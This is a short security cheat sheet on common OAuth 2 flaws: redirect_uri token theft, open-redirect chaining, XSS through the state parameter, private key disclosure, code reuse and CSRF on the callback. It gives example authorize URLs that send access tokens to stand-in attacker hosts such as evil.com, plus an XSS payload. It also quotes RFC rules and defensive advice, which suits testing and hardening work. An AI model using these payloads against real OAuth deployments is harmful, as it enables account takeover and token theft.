OAuth 2 - Common vulnerabilities

Grabbing OAuth Token via redirect_uri

Redirect to a controlled domain to get the access token

```
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
```

Redirect to an accepted Open URL in to get the access token

```
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
```

OAuth implementations should never whitelist entire domains, only a few URLs so that "redirect_uri" can't be pointed to an Open Redirect.

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:

```
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
```

Executing XSS via redirect_uri

```
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
```

OAuth private key disclosure

Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

Authorization Code Rule Violation

> *The client MUST NOT use the authorization code more than once.*
> *If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on*

that authorization code.

Cross-Site Request Forgery

Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.

> *The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.*

Thanks to

- All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY (http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
- OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - INTO THE SYMMETRY (http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html)
- How I hacked Github again. - Egor Homakov (http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html)
- How Microsoft is giving your data to Facebook... and everyone else - Andris Atteka (http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html)